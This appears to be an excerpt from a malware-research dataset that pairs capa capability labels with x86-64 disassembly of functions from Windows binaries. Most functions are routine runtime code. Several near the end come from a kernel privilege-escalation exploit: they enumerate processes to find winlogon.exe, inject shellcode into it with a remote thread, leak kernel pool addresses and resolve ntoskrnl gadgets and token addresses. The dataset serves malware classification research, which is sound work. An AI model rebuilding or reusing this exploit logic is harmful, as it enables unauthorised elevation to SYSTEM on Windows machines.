joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400024c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1400024f4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400024e0
ret
Function at 0x140006f30
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140006ffc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140006ffc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140007015
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x140006fec
cmp byte [rax], 0x5c
jne 0x140006fe6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140006fe6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140006fd2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140006fe3
test r8b, 0x10
jne 0x140006fe6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140006fe6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140003660
test edi, edi
jne 0x140006f50
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140003650
int3

Function at 0x140009f70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009fba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009fba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009fba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009fba
cmp dword [rcx + 0x84], 0xe
jbe 0x140009fba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009fbc
xor al, al
add rsp, 0x28
ret
Function at 0x477e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x477f26
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rsi
test r8, r8
je 0x477ea2
cmp rdi, r8
jb 0x477f18
cmp rsi, rbx
je 0x477e85
nop
mov rdx, rbx
lea rdi, [rsi + r8]
lea rdi, [rdi - 1]
cmp rdi, rbx
jb 0x477e82
mov rdi, rsi
lea r9, [rdx + r8]
lea r9, [r9 - 1]
cmp r9, rsi
jae 0x477f05
mov rbx, rdx
mov rsi, rdi
jmp 0x477e85
mov rbx, rdx
movzx edx, byte [rax + 0x400]
movzx edi, byte [rax + 0x401]
lea r9, [r8 - 1]
cmp rcx, r9
jbe 0x477efd
xor ecx, ecx
nop
jmp 0x477ee1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
movzx r9d, byte [rsi + rcx]
inc edx
movzx r10d, dl
mov r11d, dword [rax + r10*4]
add edi, r11d
movzx r12d, dil
mov r13d, dword [rax + r12*4]
mov dword [rax + r10*4], r13d
mov dword [rax + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rax + r10*4]
mov byte [rbx + rcx], r9b
inc rcx
cmp r8, rcx
jg 0x477eac
mov byte [rax + 0x400], dl
mov byte [rax + 0x401], dil
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, r9
call fcn.0045c820
lea rax, [0x004af5a0]
lea rbx, [0x004f01f0]
call fcn.00432920
mov rcx, r8
mov rdx, rdi
nop
call fcn.0045c8a0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
call fcn.0045a140
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
jmp fcn.00477e20
Function at 0x140004740
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x1400047d0
jmp 0x1400047bf
jae 0x140004890
cmp r8, 0x201
jae 0x1400047d0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140004828
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x1400047ff
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.14001b0a0
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140004851
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400048f8
mov r8d, r14d
cmp r15, r8
jne 0x1400047b0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000491b
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400047bf
jmp 0x1400047d0
cmp rsi, r8
jb 0x140004935
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140006d10
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x1400048e1
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.1400017b0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x1400048c9
jmp 0x1400048e1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_4578435e1695863d921c7763d5a0add98f8e3869library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14001bab0
jmp 0x14000494a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001bf00
ud2
Function at 0x1400049a0
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.14000cb50
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x408], rax
test rax, rax
je 0x140004b26
mov qword [rbp + 0x400], rsi
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x3e8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x410], rax
xor edi, edi
xor ebx, ebx
xor r13d, r13d
cmp r8, 0x201
jae 0x140004a60
jmp 0x140004a4f
jae 0x140004b38
cmp r8, 0x201
jae 0x140004a60
mov r15d, 0x200
lea r14, [rbp - 0x60]
mov r12, r8
jmp 0x140004ab8
sub r8, r13
sub rbx, r13
cmp rbx, r8
jae 0x140004a8f
lea rcx, [rbp + 0x3e8]
mov rdx, r13
call fcn.14001b0a0
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x410], rax
mov rdi, qword [rbp + 0x3f0]
mov eax, 0xffffffff
cmp rdi, rax
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rbp + 0x3f8], r13
mov rbx, rdi
mov r15, r13
mov r14, qword [rbp + 0x410]
mov r12, r13
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x408]
mov rdx, r14
mov r8d, r12d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x140004ae7
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140004c0b
mov r8d, esi
cmp r12, r8
jne 0x140004a40
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140004c35
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x140004a4f
jmp 0x140004a60
lea rcx, [rbp - 0x58]
call fcn.140002900
mov byte [rsi + 0x18], 2
jmp 0x140004bca
cmp r15, r8
jb 0x140004c4f
lea rcx, [rbp + 0x3a0]
mov rdx, r14
call fcn.140006d10
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
test rdi, rdi
je 0x140004b89
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x410]
mov rdx, rdi
call fcn.1400017b0
cmp byte [rbp + 0x3d8], 2
jne 0x140004be1
mov rsi, qword [rbp + 0x400]
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3c0]
call fcn.140002900
mov rdx, qword [rbp + 0x418]
test rdx, rdx
je 0x140004bca
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0x408]
call fcn.1400017b0
mov rax, rsi
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x400]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x418]
test rdx, rdx
jne 0x140004bb5
jmp 0x140004bca
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0x3d8], 2
test rdi, rdi
jne 0x140004b71
jmp 0x140004b89
lea rcx, str.internal_error:_entered_unreachable_code_rustc_4578435e1695863d921c7763d5a0add98f8e3869library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14001bab0
jmp 0x140004c64
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.14001bf00
ud2
Function at 0x14000b620
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14001f318]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000b664
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000b6ca
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000b701
test eax, eax
js 0x14000b6db
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000b6f4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140006940
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140002aa0
mov ecx, 7
int 0x29
ud2
Function at 0x140018f60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140018fda
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140018fd0
cmp r11, r10
ja 0x140019073
cmp r10, rdx
ja 0x140019087
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140018fd2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140018fb0
jmp 0x140019047
ja 0x140018fda
mov r11, r10
cmp rax, r8
jne 0x140018f82
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001904b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140019020
mov r8, r10
sub ecx, r9d
jns 0x14001903e
jmp 0x14001904d
cmp r10, rdx
je 0x140019059
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001904d
xor al, 1
cmp r8, rdx
jne 0x140019000
jmp 0x14001904d
xor eax, eax
jmp 0x14001904d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14001bab0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001bf80
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001bf00
ud2

Function at 0x14001ab24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ab6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ab6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ab6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ab6e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ab6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ab70
xor al, al
add rsp, 0x28
ret
Function at 0x140011078
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400122b0
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xc2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f178]
xor rax, rbp
mov qword [rbp + 0x478], rax
lea rcx, [0x1400250ad]
call fcn.140011424
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111d6
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x2a4], 0xffffffff
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.14001128f
test eax, eax
je 0x14001235b
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400113ca
test eax, eax
je 0x14001235b
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140012359
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x2a4], eax
jmp 0x14001235b
jmp 0x140012325
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x2a4], 0
jge 0x140012383
lea rcx, str.____Could_not_find_winlogon.exe
call qword [sym.imp.ucrtbased.dll_puts]
jmp 0x140012488
mov r8d, dword [rbp + 0x2a4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x1400123ba
lea rcx, str.____Failed_to_open_process._Exploit_did_probably_not_work
call qword [sym.imp.ucrtbased.dll_puts]
jmp 0x140012488
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
jne 0x1400123fa
lea rcx, str.____Failed_to_allocate_remote_memory
call fcn.1400111cc
mov qword [rsp + 0x20], 0
mov r9d, 0x114
lea r8, section..data
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140012437
lea rcx, str.____Failed_to_write_to_remote_memory
call qword [sym.imp.ucrtbased.dll_puts]
jmp 0x140012488
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2c8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0xffffffffffffffff
jne 0x140012488
lea rcx, str.____Failed_to_create_remote_thread
call qword [sym.imp.ucrtbased.dll_puts]
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c1a0]
call fcn.14001139d
mov rcx, qword [rbp + 0x478]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x488]
pop rdi
pop rbp
ret
Function at 0x140011096
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011ab0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x2f0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x80
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x318]
mov rax, qword [0x14001f178]
xor rax, rbp
mov qword [rbp + 0x2b8], rax
lea rcx, [0x1400250ad]
call fcn.140011424
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x88], rax
mov eax, 0x1000
mov word [rbp + 0xa4], ax
movzx eax, word [rbp + 0xa4]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xc8], rax
mov r8d, 0x20
mov edx, 0x41
mov rcx, qword [rbp + 0xc8]
call fcn.140011343
mov rax, qword [rbp + 0xc8]
mov qword [rax], 0x80
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x2e0]
mov qword [rax + 8], rcx
lea rax, [rbp + 0x298]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x108]
lea rcx, [rbp + 0x298]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rbp + 0xa4]
mov word [rbp + 0x108], ax
mov eax, 0xffff
mov word [rbp + 0x10a], ax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x110], rax
mov r9d, 0x10
lea r8, [rbp + 0x108]
mov edx, 0x26
mov rcx, qword [rbp + 0x88]
call qword [0x14001f2e0]
mov dword [rbp + 0x134], eax
mov dword [rbp + 4], 0x100000
mov eax, dword [rbp + 4]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0xe8], rax
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0xe8]
mov ecx, 0x42
call qword [0x14001f2e8]
mov dword [rbp + 0x134], eax
movzx eax, word [rbp + 0x108]
add rax, 0x10
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov eax, dword [rax]
imul rax, rax, 0x18
mov rcx, qword [rbp + 0x158]
lea rax, [rcx + rax + 8]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x158]
add rax, 8
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x178]
cmp qword [rbp + 0x198], rax
jae 0x140011d0b
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
add rax, 0x10
mov r8d, 4
lea rdx, str.ThNm
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140011cf7
mov eax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0x1b8]
cmp rax, qword [rcx + 8]
jne 0x140011cf7
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rax]
and rax, 0xfffffffffffffff0
add rax, 0x10
jmp 0x140011d19
mov rax, qword [rbp + 0x198]
add rax, 0x18
mov qword [rbp + 0x198], rax
jmp 0x140011c90
lea rcx, str.____Failed_to_leak_pool_address_for_forged_BitMapHeader_n
call fcn.1400111cc
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c100]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0x2b8]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x2c0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011226
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
jmp 0x140012540
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250ad]
call fcn.140011424
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001258d
lea rcx, str.____Failed_to_load_NTDLL
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x14001f308], eax
lea rdx, str.NtSetInformationThread
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f2e0], rax
lea rdx, str.NtQuerySystemInformation
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f2e8], rax
call fcn.140011244
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400125f3
lea rcx, str.____Failed_to_get_kernel_base
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
mov r8d, 1
xor edx, edx
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140012627
lea rcx, str.____Failed_to_load_kernel_module
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
call fcn.140011203
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012648
lea rcx, str.____Failed_to_get_token_kernel_address
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
lea rdx, str.RtlSetAllBits
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140012675
lea rcx, str.____Failed_to_find_RtlSetAllBits
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
sub rax, qword [rbp + 0x68]
mov qword [0x14001f650], rax
mov rax, qword [rbp + 0x28]
add rax, 0x40
mov rcx, rax
call fcn.140011096
mov qword [0x14001f658], rax
cmp qword [0x14001f658], 0
jne 0x1400126c0
lea rcx, str.____Failed_to_pool_leak_address_of_token
call qword [sym.imp.ucrtbased.dll_puts]
xor eax, eax
jmp 0x1400126c5
call fcn.1400113d9
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140011253
Capabilities:
Terminate process

Disassembly:
jmp 0x140014630
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015980
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400159a0
xor al, al
jmp 0x140015a21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400159b3
xor al, al
jmp 0x140015a21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400159dd
xor al, al
jmp 0x140015a21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400159f1
xor al, al
jmp 0x140015a21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015a03
xor al, al
jmp 0x140015a21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015a1f
xor al, al
jmp 0x140015a21
mov al, 1
add rsp, 0x38
ret